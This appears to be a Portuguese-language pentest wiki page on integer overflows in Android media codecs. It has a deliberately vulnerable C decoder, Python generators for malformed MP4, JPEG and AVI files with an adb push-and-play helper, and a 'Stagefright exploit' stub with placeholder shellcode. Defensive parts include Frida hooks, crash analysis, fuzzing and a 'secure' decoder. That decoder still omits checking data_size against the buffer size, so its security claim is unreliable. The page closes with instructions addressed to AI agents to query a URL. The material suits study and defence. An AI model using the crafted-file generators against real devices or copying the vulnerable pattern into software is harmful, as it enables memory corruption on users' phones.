# Integer Overflow em Codecs

## **📋 Índice**

1. [Fundamentos do Integer Overflow](#-fundamentos-do-integer-overflow)
2. [Codecs no Android](#-codecs-no-android)
3. [Arquitetura de MediaCodec](#-arquitetura-de-mediacodec)
4. [Mecanismos de Ataque](#-mecanismos-de-ataque)
5. [Técnicas de Exploração](#-técnicas-de-exploração)
6. [Vetores de Ataque](#-vetores-de-ataque)
7. [Ferramentas de Exploração](#-ferramentas-de-exploração)
8. [Impacto e Consequências](#-impacto-e-consequências)
9. [Detecção e Monitoramento](#-detecção-e-monitoramento)
10. [Mitigações e Hardening](#-mitigações-e-hardening)
11. [Checklists de Segurança](#-checklists-de-segurança)

***

## 🔍 **Fundamentos do Integer Overflow**

### **O que é Integer Overflow?**

**Integer Overflow** ocorre quando uma operação aritmética tenta armazenar um valor que excede a capacidade máxima de um tipo de dado inteiro. No Android, especialmente em codecs de mídia, isso pode levar a comportamentos inesperados, corrupção de memória e, em casos graves, execução de código arbitrário.

### **Princípio de Funcionamento**

```mermaid
graph TD
    subgraph "Operação Normal"
        A[Valor: 2.000.000.000] --> B[Tipo: int32]
        B --> C[Limite: 2.147.483.647]
        C --> D[Resultado OK]
    end
    
    subgraph "Integer Overflow"
        E[Valor: 2.500.000.000] --> F[Tipo: int32]
        F --> G[Limite: 2.147.483.647]
        G --> H[Overflow]
        H --> I[Valor negativo]
    end
    
    subgraph "Exploração"
        I --> J[Alocação incorreta]
        J --> K[Buffer overflow]
        K --> L[Execução de código]
    end
```

### **Tipos de Integer Overflow**

```yaml
Tipos de Overflow:

  🔴 Overflow de Multiplicação:
    - buffer_size = width * height * bytes_per_pixel
    - Se width * height excede INT_MAX, overflow ocorre
    - Alocação menor que o necessário

  🔴 Overflow de Adição:
    - total = header_size + data_size
    - Header pode ser manipulado para causar overflow
    - Bypass de verificações de limite

  🔴 Overflow de Subtração:
    - remaining = total - processed
    - Pode resultar em número negativo
    - Loop infinito ou acesso fora dos limites

  🔴 Overflow de Cast:
    - uint64 → uint32
    - Perda de dados significativos
    - Comportamento indefinido

  🔴 Underflow:
    - Número negativo tratado como positivo
    - Alocação de tamanhos enormes
    - Exaustão de memória
```

***

## 🎬 **Codecs no Android**

### **O que são Codecs?**

**Codecs** são componentes que codificam e decodificam fluxos de mídia (áudio, vídeo, imagem). No Android, o framework MediaCodec fornece acesso a codecs de hardware e software. Vulnerabilidades em codecs podem ser exploradas através de arquivos de mídia maliciosos.

### **Codecs Comuns no Android**

```python
#!/usr/bin/env python3
# codecs_android.py - Codecs no Android

class CodecsAndroid:
    """Análise de codecs no Android"""
    
    @staticmethod
    def available_codecs():
        """Codecs disponíveis no Android"""
        print("📋 Codecs Comuns no Android")
        print("=" * 60)
        
        codecs = {
            "Vídeo": [
                "OMX.google.h264.decoder",
                "OMX.google.h264.encoder",
                "OMX.google.hevc.decoder",
                "OMX.google.vp8.decoder",
                "OMX.google.vp9.decoder",
                "OMX.google.mpeg4.decoder",
                "c2.android.avc.decoder",
                "c2.android.hevc.decoder"
            ],
            "Áudio": [
                "OMX.google.mp3.decoder",
                "OMX.google.aac.decoder",
                "OMX.google.amrnb.decoder",
                "OMX.google.amrwb.decoder",
                "c2.android.mp3.decoder",
                "c2.android.aac.decoder"
            ],
            "Imagem": [
                "OMX.google.jpeg.decoder",
                "OMX.google.jpeg.encoder",
                "c2.android.jpeg.decoder"
            ]
        }
        
        for category, codec_list in codecs.items():
            print(f"\n{category}:")
            for codec in codec_list:
                print(f"   • {codec}")
    
    @staticmethod
    def codec_vulnerabilities():
        """Vulnerabilidades conhecidas em codecs"""
        print("\n⚠️ Vulnerabilidades Conhecidas em Codecs")
        print("=" * 60)
        
        vulnerabilities = [
            "CVE-2015-6638 - Stagefright (integer overflow)",
            "CVE-2016-2430 - Mediaserver (integer overflow)",
            "CVE-2017-0561 - Qualcomm video driver (integer overflow)",
            "CVE-2019-2107 - MediaCodec (buffer overflow)",
            "CVE-2020-0396 - Media framework (integer overflow)",
            "CVE-2021-0872 - Media extractor (integer overflow)"
        ]
        
        for vuln in vulnerabilities:
            print(f"   • {vuln}")

# Executar
CodecsAndroid.available_codecs()
CodecsAndroid.codec_vulnerabilities()
```

***

## 🏗️ **Arquitetura de MediaCodec**

### **Componentes do MediaCodec**

```mermaid
graph TD
    subgraph "Aplicação"
        A[App] --> B[MediaExtractor]
        A --> C[MediaCodec]
        A --> D[MediaMuxer]
    end
    
    subgraph "Framework"
        B --> E[Extratores]
        C --> F[Codecs]
        D --> G[Muxers]
    end
    
    subgraph "Native"
        E --> H[Stagefright]
        F --> I[OMX/C2]
        G --> H
    end
    
    subgraph "Hardware"
        I --> J[GPU/VPU]
        I --> K[DSP]
    end
    
    style H fill:#ffcc99
    style I fill:#ffcc99
    style J fill:#99ccff
```

### **Fluxo de Decodificação Vulnerável**

```c
// vulnerable_decoder.c - Exemplo de código vulnerável

#include <stdint.h>
#include <stdlib.h>

// Estrutura de cabeçalho malicioso
struct malicious_header {
    uint32_t width;
    uint32_t height;
    uint32_t bytes_per_pixel;
    uint32_t data_size;
};

// Função vulnerável (integer overflow)
int vulnerable_decode(uint8_t *input, size_t input_size) {
    struct malicious_header *header = (struct malicious_header *)input;
    
    // 🔴 Vulnerável: multiplicação pode causar overflow
    size_t buffer_size = header->width * header->height * header->bytes_per_pixel;
    
    // Verificação inadequada
    if (buffer_size > MAX_BUFFER) {
        return -1;
    }
    
    // 🔴 Alocação menor que o necessário se overflow ocorreu
    uint8_t *buffer = (uint8_t *)malloc(buffer_size);
    if (!buffer) {
        return -1;
    }
    
    // 🔴 Copia dados (pode causar buffer overflow)
    memcpy(buffer, input + sizeof(struct malicious_header), header->data_size);
    
    free(buffer);
    return 0;
}

// Exemplo de valores que causam overflow
// width = 0x10000, height = 0x10000, bytes_per_pixel = 4
// width * height * bytes_per_pixel = 0x1000000000000 (overflow)
// buffer_size = 0 (após overflow)
```

***

## ⚔️ **Mecanismos de Ataque**

### **Fluxo de Ataque**

```mermaid
sequenceDiagram
    participant A as Atacante
    participant M as MediaPlayer
    participant C as Codec
    participant K as Kernel

    A->>M: Arquivo mídia malicioso
    M->>C: Envia para decodificação
    
    Note over C: 1. Parse do cabeçalho
    C->>C: width * height * bpp
    Note over C: Integer overflow ocorre
    
    Note over C: 2. Alocação incorreta
    C->>C: malloc(overflow)
    Note over C: Buffer menor que necessário
    
    Note over C: 3. Buffer overflow
    C->>C: memcpy(dados)
    C->>K: Corrompe memória do kernel
    
    Note over K: 4. Comprometimento
    K->>K: Execução de código
    K-->>A: Privilégios elevados
```

### **Vetores de Ataque**

```yaml
Vetores de Ataque:

  🔴 Arquivo de Mídia Malicioso:
    - MP4 com cabeçalho manipulado
    - AVI com dimensões extremas
    - MKV com chunks corrompidos
    - GIF com tamanhos anômalos

  🔴 Streaming:
    - RTSP com parâmetros maliciosos
    - HTTP Live Streaming (HLS) manipulada
    - DASH com segmentos corrompidos

  🔴 WebRTC:
    - Vídeo chamada com resoluções extremas
    - Codecs manipulados via SDP
    - Pacotes RTP maliciosos

  🔴 Imagens:
    - JPEG com dimensões overflow
    - PNG com chunks maliciosos
    - WebP com cabeçalho manipulado
    - GIF animado com frames extremos
```

***

## 🔧 **Técnicas de Exploração**

### **Técnica 1: Fuzzing de Codecs**

```python
#!/usr/bin/env python3
# codec_fuzzer.py - Fuzzing de codecs Android

import subprocess
import struct
import random
import os
import sys

class CodecFuzzer:
    """Fuzzing de codecs para encontrar integer overflows"""
    
    @staticmethod
    def generate_malicious_mp4(filename="malicious.mp4"):
        """Gerar MP4 malicioso"""
        print(f"[*] Gerando MP4 malicioso: {filename}")
        
        # Estrutura básica MP4
        ftyp_box = b"ftyp" + struct.pack(">I", 0) + b"isom" + b"isom" + b"\x00\x00\x00\x00"
        
        # Moov box com dimensões extremas
        moov_box = b"moov"
        
        # Trak box com width/height overflow
        # width = 0x10000 (65536)
        # height = 0x10000 (65536)
        # width * height * 4 = 0x1000000000 (overflow)
        
        trak_data = struct.pack(">I", 0x10000)  # width
        trak_data += struct.pack(">I", 0x10000)  # height
        trak_data += b"\x00" * 100  # padding
        
        trak_box = b"trak" + struct.pack(">I", len(trak_data) + 8) + trak_data
        
        moov_box += struct.pack(">I", len(trak_box) + 8) + trak_box
        
        # Combinar
        with open(filename, 'wb') as f:
            f.write(ftyp_box)
            f.write(moov_box)
        
        print(f"   Arquivo gerado: {filename}")
        return filename
    
    @staticmethod
    def generate_malicious_jpeg(filename="malicious.jpg"):
        """Gerar JPEG malicioso"""
        print(f"[*] Gerando JPEG malicioso: {filename}")
        
        # SOI marker
        jpeg_data = b"\xFF\xD8"
        
        # SOF0 marker (Start of Frame) com dimensões overflow
        sof_marker = b"\xFF\xC0"
        sof_length = struct.pack(">H", 17)
        precision = b"\x08"
        height = struct.pack(">H", 0xFFFF)  # 65535
        width = struct.pack(">H", 0xFFFF)   # 65535
        
        jpeg_data += sof_marker + sof_length + precision + height + width
        
        # DQT, DHT, SOS markers
        jpeg_data += b"\xFF\xDB" + struct.pack(">H", 132) + b"\x00" * 130
        jpeg_data += b"\xFF\xC4" + struct.pack(">H", 418) + b"\x00" * 416
        jpeg_data += b"\xFF\xDA" + struct.pack(">H", 12) + b"\x01\x03\x00\x00\x01\x03\x00\x00\x00\x00"
        
        # Dados de imagem
        jpeg_data += b"\xFF" * 10000
        
        # EOI marker
        jpeg_data += b"\xFF\xD9"
        
        with open(filename, 'wb') as f:
            f.write(jpeg_data)
        
        print(f"   Arquivo gerado: {filename}")
        return filename
    
    @staticmethod
    def generate_malicious_avi(filename="malicious.avi"):
        """Gerar AVI malicioso"""
        print(f"[*] Gerando AVI malicioso: {filename}")
        
        # RIFF header
        avi_data = b"RIFF" + struct.pack("<I", 0xFFFFFFFF) + b"AVI "
        
        # LIST header
        avi_data += b"LIST" + struct.pack("<I", 0xFFFFFFFF) + b"hdrl"
        
        # AVIMainHeader com dimensões extremas
        avi_data += b"avih" + struct.pack("<I", 56)
        avi_data += struct.pack("<I", 1000000)  # dwMicroSecPerFrame
        avi_data += struct.pack("<I", 0xFFFFFFFF)  # dwMaxBytesPerSec
        avi_data += struct.pack("<I", 0)  # dwPaddingGranularity
        avi_data += struct.pack("<I", 0xFFFFFFFF)  # dwFlags
        avi_data += struct.pack("<I", 0xFFFFFFFF)  # dwTotalFrames
        avi_data += struct.pack("<I", 0)  # dwInitialFrames
        avi_data += struct.pack("<I", 0xFFFFFFFF)  # dwStreams
        avi_data += struct.pack("<I", 0xFFFFFFFF)  # dwSuggestedBufferSize
        avi_data += struct.pack("<I", 0xFFFF)  # dwWidth
        avi_data += struct.pack("<I", 0xFFFF)  # dwHeight
        
        # Dados de vídeo
        avi_data += b"\x00" * 10000
        
        with open(filename, 'wb') as f:
            f.write(avi_data)
        
        print(f"   Arquivo gerado: {filename}")
        return filename
    
    @staticmethod
    def push_and_play(device_path, file_path):
        """Enviar arquivo para dispositivo e reproduzir"""
        print(f"\n[*] Enviando {file_path} para dispositivo")
        
        # Push file
        push_cmd = ['adb', 'push', file_path, device_path]
        subprocess.run(push_cmd, capture_output=True)
        
        # Tentar reproduzir
        play_cmd = ['adb', 'shell', 'am', 'start', '-a', 'android.intent.action.VIEW',
                    '-d', f'file://{device_path}', '-t', 'video/mp4']
        subprocess.run(play_cmd, capture_output=True)
        
        print("   Arquivo enviado e reproduzido")

# Uso
if __name__ == "__main__":
    print("🔢 Codec Fuzzing")
    print("=" * 60)
    
    # Gerar arquivos maliciosos
    CodecFuzzer.generate_malicious_mp4()
    CodecFuzzer.generate_malicious_jpeg()
    CodecFuzzer.generate_malicious_avi()
    
    # Se dispositivo conectado, enviar e testar
    device_path = "/sdcard/malicious.mp4"
    # CodecFuzzer.push_and_play(device_path, "malicious.mp4")
```

### **Técnica 2: Exploração de Stagefright**

```python
#!/usr/bin/env python3
# stagefright_exploit.py - Exploração de Stagefright

import struct
import sys

class StagefrightExploit:
    """Exploração de integer overflow em Stagefright"""
    
    @staticmethod
    def create_malicious_mp4(payload):
        """Criar MP4 malicioso para Stagefright"""
        print("[*] Criando MP4 malicioso para Stagefright")
        
        # CVE-2015-6638 - Integer overflow em MPEG4Extractor
        # track->width * track->height * bytes_per_pixel
        
        mp4_data = bytearray()
        
        # ftyp box
        mp4_data.extend(b"ftyp")
        mp4_data.extend(struct.pack(">I", 0))
        mp4_data.extend(b"isom")
        mp4_data.extend(b"isom")
        mp4_data.extend(b"\x00\x00\x00\x00")
        
        # moov box (contém track)
        mp4_data.extend(b"moov")
        moov_size_pos = len(mp4_data)
        mp4_data.extend(struct.pack(">I", 0))
        
        # mvhd box
        mp4_data.extend(b"mvhd")
        mp4_data.extend(struct.pack(">I", 108))
        mp4_data.extend(b"\x00\x00\x00\x00") * 10
        
        # trak box
        mp4_data.extend(b"trak")
        trak_size_pos = len(mp4_data)
        mp4_data.extend(struct.pack(">I", 0))
        
        # tkhd box com dimensões extremas
        mp4_data.extend(b"tkhd")
        mp4_data.extend(struct.pack(">I", 92))
        mp4_data.extend(b"\x00\x00\x00\x07")
        mp4_data.extend(b"\x00\x00\x00\x00") * 8
        mp4_data.extend(struct.pack(">I", 0x40000000))  # width (1GB)
        mp4_data.extend(struct.pack(">I", 0x40000000))  # height (1GB)
        
        # mdia box
        mp4_data.extend(b"mdia")
        mp4_data.extend(struct.pack(">I", 0))
        
        # hdlr box
        mp4_data.extend(b"hdlr")
        mp4_data.extend(struct.pack(">I", 33))
        mp4_data.extend(b"\x00\x00\x00\x00")
        mp4_data.extend(b"vide")
        mp4_data.extend(b"\x00\x00\x00\x00") * 3
        
        # minf box
        mp4_data.extend(b"minf")
        mp4_data.extend(struct.pack(">I", 0))
        
        # stbl box
        mp4_data.extend(b"stbl")
        mp4_data.extend(struct.pack(">I", 0))
        
        # stsd box
        mp4_data.extend(b"stsd")
        mp4_data.extend(struct.pack(">I", 0))
        
        # Atualizar tamanhos
        mp4_data[trak_size_pos:trak_size_pos+4] = struct.pack(">I", len(mp4_data) - trak_size_pos - 4)
        mp4_data[moov_size_pos:moov_size_pos+4] = struct.pack(">I", len(mp4_data) - moov_size_pos - 4)
        
        # Adicionar payload
        mp4_data.extend(payload)
        
        with open("stagefright.mp4", "wb") as f:
            f.write(mp4_data)
        
        print("   MP4 gerado: stagefright.mp4")
        return "stagefright.mp4"

# Uso
if __name__ == "__main__":
    print("🔢 Stagefright Exploit")
    print("=" * 60)
    
    # Shellcode ARM64
    shellcode = b"\x00\x00\x00\x00" * 100
    StagefrightExploit.create_malicious_mp4(shellcode)
```

### **Técnica 3: Frida Script para Hook de Codecs**

```javascript
// frida_codec_hook.js - Hook de codecs para detectar overflows

Java.perform(function() {
    console.log("[*] Hooking MediaCodec");
    
    // 1. Hook MediaCodec.createByCodecName
    var MediaCodec = Java.use("android.media.MediaCodec");
    
    MediaCodec.createByCodecName.implementation = function(name) {
        console.log("[MediaCodec] createByCodecName: " + name);
        return this.createByCodecName(name);
    };
    
    // 2. Hook MediaCodec.configure
    MediaCodec.configure.overload(
        'android.media.MediaFormat', 
        'android.view.Surface', 
        'android.media.MediaCrypto', 
        'int'
    ).implementation = function(format, surface, crypto, flags) {
        console.log("[MediaCodec] configure");
        
        // Log format parameters
        if (format != null) {
            var keys = format.getKeys();
            var iterator = keys.iterator();
            while (iterator.hasNext()) {
                var key = iterator.next();
                var value = format.getInteger(key);
                console.log("    " + key + " = " + value);
                
                // Detectar valores suspeitos
                if ((key === "width" || key === "height") && value > 4096) {
                    console.log("[!] Suspicious dimension: " + key + " = " + value);
                }
            }
        }
        
        return this.configure(format, surface, crypto, flags);
    };
    
    // 3. Hook MediaExtractor
    var MediaExtractor = Java.use("android.media.MediaExtractor");
    
    MediaExtractor.setDataSource.overload('java.lang.String').implementation = function(path) {
        console.log("[MediaExtractor] setDataSource: " + path);
        return this.setDataSource(path);
    };
    
    // 4. Hook MediaExtractor.getTrackFormat
    MediaExtractor.getTrackFormat.implementation = function(index) {
        var format = this.getTrackFormat(index);
        console.log("[MediaExtractor] getTrackFormat(" + index + ")");
        
        if (format != null) {
            var width = format.getInteger("width");
            var height = format.getInteger("height");
            console.log("    width: " + width + ", height: " + height);
            
            // Detectar overflow potencial
            if (width > 4096 || height > 4096) {
                console.log("[!] Potential integer overflow: " + width + "x" + height);
            }
        }
        
        return format;
    };
});
```

### **Técnica 4: Análise de Crash Dumps**

```python
#!/usr/bin/env python3
# codec_crash_analysis.py - Análise de crashes em codecs

import subprocess
import re
import sys

class CodecCrashAnalysis:
    """Análise de crash dumps de codecs"""
    
    @staticmethod
    def get_crash_logs(package="android.process.media"):
        """Obter logs de crash de codecs"""
        print(f"[*] Obtendo logs de crash de codecs")
        
        cmd = ['adb', 'logcat', '-d', '-s', 'libc', 'DEBUG', 'MediaCodec']
        result = subprocess.run(cmd, capture_output=True, text=True)
        
        crash_patterns = [
            r'Fatal signal \d+',
            r'codec.*error',
            r'failed to allocate',
            r'buffer overflow',
            r'integer overflow',
            r'size mismatch'
        ]
        
        crashes = []
        for line in result.stdout.split('\n'):
            for pattern in crash_patterns:
                if re.search(pattern, line, re.IGNORECASE):
                    crashes.append(line)
                    print(f"   ⚠️ {line[:150]}")
                    break
        
        print(f"   Total de indicadores de crash: {len(crashes)}")
        return crashes
    
    @staticmethod
    def analyze_tombstone(tombstone_path):
        """Analisar tombstone file"""
        print(f"\n[*] Analisando tombstone: {tombstone_path}")
        
        try:
            with open(tombstone_path, 'r') as f:
                content = f.read()
            
            # Buscar informações de overflow
            overflow_indicators = [
                'overflow',
                'buffer overflow',
                'heap corruption',
                'memory corruption',
                'invalid address'
            ]
            
            for indicator in overflow_indicators:
                if indicator in content.lower():
                    print(f"   ⚠️ Indicador encontrado: {indicator}")
                    lines = [l for l in content.split('\n') if indicator in l.lower()]
                    for line in lines[:3]:
                        print(f"      {line[:100]}")
            
            # Buscar backtrace
            backtrace = re.findall(r'#\d{2}.*\n', content)
            if backtrace:
                print(f"\n   Backtrace:")
                for line in backtrace[:5]:
                    print(f"      {line.strip()}")
                    
        except Exception as e:
            print(f"   Erro: {e}")
    
    @staticmethod
    def pull_tombstones():
        """Extrair tombstone files do dispositivo"""
        print("\n[*] Extraindo tombstone files")
        
        cmd = ['adb', 'pull', '/data/tombstones/', './tombstones/']
        subprocess.run(cmd, capture_output=True)
        
        import os
        if os.path.exists('./tombstones'):
            files = os.listdir('./tombstones')
            print(f"   {len(files)} tombstone files extraídos")
            return files
        return []

# Uso
if __name__ == "__main__":
    print("🔢 Codec Crash Analysis")
    print("=" * 60)
    
    CodecCrashAnalysis.get_crash_logs()
    tombstone_files = CodecCrashAnalysis.pull_tombstones()
    if tombstone_files:
        CodecCrashAnalysis.analyze_tombstone('./tombstones/' + tombstone_files[0])
```

***

## 🔍 **Detecção e Monitoramento**

### **Script de Detecção de Integer Overflow**

```python
#!/usr/bin/env python3
# detect_integer_overflow.py - Detector de integer overflow em codecs

import subprocess
import re
import sys

class IntegerOverflowDetector:
    """Detector de integer overflows em codecs"""
    
    @staticmethod
    def check_media_parameters(media_file):
        """Verificar parâmetros de mídia suspeitos"""
        print(f"[*] Analisando {media_file}")
        
        # Usar mediainfo se disponível
        cmd = ['mediainfo', media_file]
        try:
            result = subprocess.run(cmd, capture_output=True, text=True)
            
            # Buscar dimensões extremas
            width_match = re.search(r'Width\s*:\s*(\d+)', result.stdout)
            height_match = re.search(r'Height\s*:\s*(\d+)', result.stdout)
            
            if width_match and height_match:
                width = int(width_match.group(1))
                height = int(height_match.group(1))
                
                print(f"   Dimensões: {width}x{height}")
                
                if width > 4096 or height > 4096:
                    print(f"   ⚠️ Dimensões extremas: {width}x{height}")
                if width * height > 100000000:
                    print(f"   ⚠️ Área total extrema: {width * height}")
                    
        except Exception as e:
            print(f"   Erro: {e}")
    
    @staticmethod
    def monitor_codec_allocation():
        """Monitorar alocações de codec"""
        print("\n[*] Monitorando alocações de codec")
        
        cmd = ['adb', 'logcat', '-s', 'MediaCodec', 'libc']
        
        try:
            process = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
            
            import time
            start_time = time.time()
            
            while time.time() - start_time < 30:
                line = process.stdout.readline()
                if line:
                    if 'allocate' in line or 'malloc' in line or 'size' in line:
                        print(f"   {line.strip()}")
            
            process.terminate()
            
        except Exception as e:
            print(f"   Erro: {e}")

# Uso
if __name__ == "__main__":
    print("🔢 Integer Overflow Detection")
    print("=" * 60)
    
    if len(sys.argv) > 1:
        IntegerOverflowDetector.check_media_parameters(sys.argv[1])
    
    IntegerOverflowDetector.monitor_codec_allocation()
```

***

## 🛡️ **Mitigações e Hardening**

### **Proteções no Android**

```yaml
Proteções Existentes:

  ✅ Integer Overflow Checks:
    - Compilação com -ftrapv
    - Verificações de multiplicação
    - Limites de tamanho

  ✅ AddressSanitizer (ASAN):
    - Detecção de overflows em tempo de execução
    - Disponível em builds de debug
    - Testes de fuzzing

  ✅ CFI (Control Flow Integrity):
    - Protege contra redirecionamento de fluxo
    - Evita execução de código arbitrário

  ✅ SE Linux:
    - Restringe acesso a codecs
    - Isolamento de processos

  ✅ Sandboxing:
    - Codecs rodam em processos isolados
    - Mediaserver com privilégios reduzidos
```

### **Implementação Segura de Codecs**

```c
// secure_codec.c - Implementação segura de codec

#include <stdint.h>
#include <stdlib.h>
#include <limits.h>

#define MAX_WIDTH 8192
#define MAX_HEIGHT 8192
#define MAX_BYTES_PER_PIXEL 4
#define MAX_BUFFER_SIZE (MAX_WIDTH * MAX_HEIGHT * MAX_BYTES_PER_PIXEL)

// 1. Função segura de multiplicação
int safe_multiply(size_t a, size_t b, size_t *result) {
    if (a > SIZE_MAX / b) {
        return -1;  // Overflow detectado
    }
    *result = a * b;
    return 0;
}

// 2. Função segura de multiplicação tripla
int safe_multiply3(size_t a, size_t b, size_t c, size_t *result) {
    size_t temp;
    if (safe_multiply(a, b, &temp) != 0) {
        return -1;
    }
    if (safe_multiply(temp, c, result) != 0) {
        return -1;
    }
    return 0;
}

// 3. Decodificador seguro
int secure_decode(uint8_t *input, size_t input_size) {
    struct header {
        uint32_t width;
        uint32_t height;
        uint32_t bytes_per_pixel;
        uint32_t data_size;
    } *hdr = (struct header *)input;
    
    // Verificar limites
    if (hdr->width == 0 || hdr->width > MAX_WIDTH) {
        return -1;
    }
    if (hdr->height == 0 || hdr->height > MAX_HEIGHT) {
        return -1;
    }
    if (hdr->bytes_per_pixel == 0 || hdr->bytes_per_pixel > MAX_BYTES_PER_PIXEL) {
        return -1;
    }
    
    // Calcular tamanho do buffer com verificação de overflow
    size_t buffer_size;
    if (safe_multiply3(hdr->width, hdr->height, hdr->bytes_per_pixel, &buffer_size) != 0) {
        return -1;  // Overflow detectado
    }
    
    // Verificar tamanho máximo
    if (buffer_size > MAX_BUFFER_SIZE) {
        return -1;
    }
    
    // Verificar data_size
    if (hdr->data_size > input_size - sizeof(struct header)) {
        return -1;
    }
    
    // Alocar buffer
    uint8_t *buffer = (uint8_t *)malloc(buffer_size);
    if (!buffer) {
        return -1;
    }
    
    // Copiar dados com segurança
    memcpy(buffer, input + sizeof(struct header), hdr->data_size);
    
    free(buffer);
    return 0;
}

// 4. Verificação de adição
int safe_add(size_t a, size_t b, size_t *result) {
    if (a > SIZE_MAX - b) {
        return -1;
    }
    *result = a + b;
    return 0;
}
```

### **Fuzzing de Codecs**

```python
#!/usr/bin/env python3
# codec_fuzzing_framework.py - Framework de fuzzing para codecs

import random
import struct
import subprocess
import os

class CodecFuzzingFramework:
    """Framework de fuzzing para codecs Android"""
    
    def __init__(self):
        self.crash_count = 0
        self.test_count = 0
    
    def mutate_mp4(self, template):
        """Mutação de MP4 para fuzzing"""
        data = bytearray(template)
        
        # Tipos de mutação
        mutation_type = random.choice([
            'bit_flip', 'byte_swap', 'insert', 'delete', 'replace'
        ])
        
        if mutation_type == 'bit_flip':
            pos = random.randint(0, len(data) - 1)
            bit = random.randint(0, 7)
            data[pos] ^= (1 << bit)
            
        elif mutation_type == 'byte_swap':
            pos1 = random.randint(0, len(data) - 1)
            pos2 = random.randint(0, len(data) - 1)
            data[pos1], data[pos2] = data[pos2], data[pos1]
            
        elif mutation_type == 'insert':
            pos = random.randint(0, len(data))
            data[pos:pos] = bytes([random.randint(0, 255) for _ in range(random.randint(1, 10))])
            
        elif mutation_type == 'delete':
            if len(data) > 10:
                pos = random.randint(0, len(data) - 5)
                del data[pos:pos + random.randint(1, 5)]
                
        elif mutation_type == 'replace':
            pos = random.randint(0, len(data) - 1)
            data[pos] = random.randint(0, 255)
        
        return bytes(data)
    
    def mutate_dimensions(self, data):
        """Mutação de dimensões para testar integer overflow"""
        # Valores extremos para dimensões
        extreme_values = [
            0xFFFFFFFF,  # -1 em unsigned
            0x7FFFFFFF,  # MAX_INT
            0x80000000,  # MIN_INT
            0x10000,     # 65536
            0x100000,    # 1048576
            0x40000000   # 1GB
        ]
        
        # Buscar posições de dimensões (simplificado)
        for i in range(len(data) - 4):
            # Tentar interpretar como width/height
            value = struct.unpack('>I', data[i:i+4])[0]
            if value > 10000:
                # Substituir por valor extremo
                new_value = random.choice(extreme_values)
                data = data[:i] + struct.pack('>I', new_value) + data[i+4:]
        
        return data
    
    def run_fuzzing(self, iterations=100):
        """Executar fuzzing"""
        print(f"[*] Iniciando fuzzing com {iterations} iterações")
        
        template = open("template.mp4", "rb").read() if os.path.exists("template.mp4") else b""
        
        for i in range(iterations):
            self.test_count += 1
            
            # Mutar dados
            data = self.mutate_mp4(template)
            data = self.mutate_dimensions(data)
            
            # Salvar arquivo mutado
            filename = f"fuzz_{i}.mp4"
            with open(filename, 'wb') as f:
                f.write(data)
            
            # Testar no dispositivo (opcional)
            # self.test_on_device(filename)
            
            if i % 10 == 0:
                print(f"   Testes realizados: {i+1}/{iterations}")
        
        print(f"\n✅ Fuzzing concluído: {self.test_count} testes")

# Uso
if __name__ == "__main__":
    print("🔢 Codec Fuzzing Framework")
    print("=" * 60)
    
    fuzzer = CodecFuzzingFramework()
    fuzzer.run_fuzzing(100)
```

***

## 📋 **Checklists de Segurança**

### **Checklist para Desenvolvedores**

* [ ] Verificar multiplicações para overflow
* [ ] Validar dimensões de entrada (width/height)
* [ ] Usar funções seguras de multiplicação
* [ ] Limitar tamanhos máximos de buffer
* [ ] Usar AddressSanitizer em testes
* [ ] Implementar fuzzing de codecs

### **Checklist para Pentesters**

* [ ] Testar arquivos com dimensões extremas
* [ ] Fuzzing de codecs com arquivos mutados
* [ ] Monitorar crashes e tombstones
* [ ] Analisar logs de codecs
* [ ] Testar diferentes formatos de mídia

***

## 📊 **Conclusão**

```yaml
Integer Overflow em Codecs:

  🔴 Principais Vetores:
    - Multiplicação width * height * bpp
    - Cálculo de tamanhos de buffer
    - Parse de cabeçalhos maliciosos

  🛡️ Mitigações Essenciais:
    - Verificação de overflow em multiplicações
    - Limites de dimensões (max width/height)
    - AddressSanitizer para detecção
    - Fuzzing contínuo

  🎯 Prioridade:
    - CRÍTICA: Codecs de mídia
    - ALTA: Decodificadores de imagem
    - MÉDIA: Processamento de streaming
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/sistemas-operacionais/android/integer-overflow-em-codecs.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.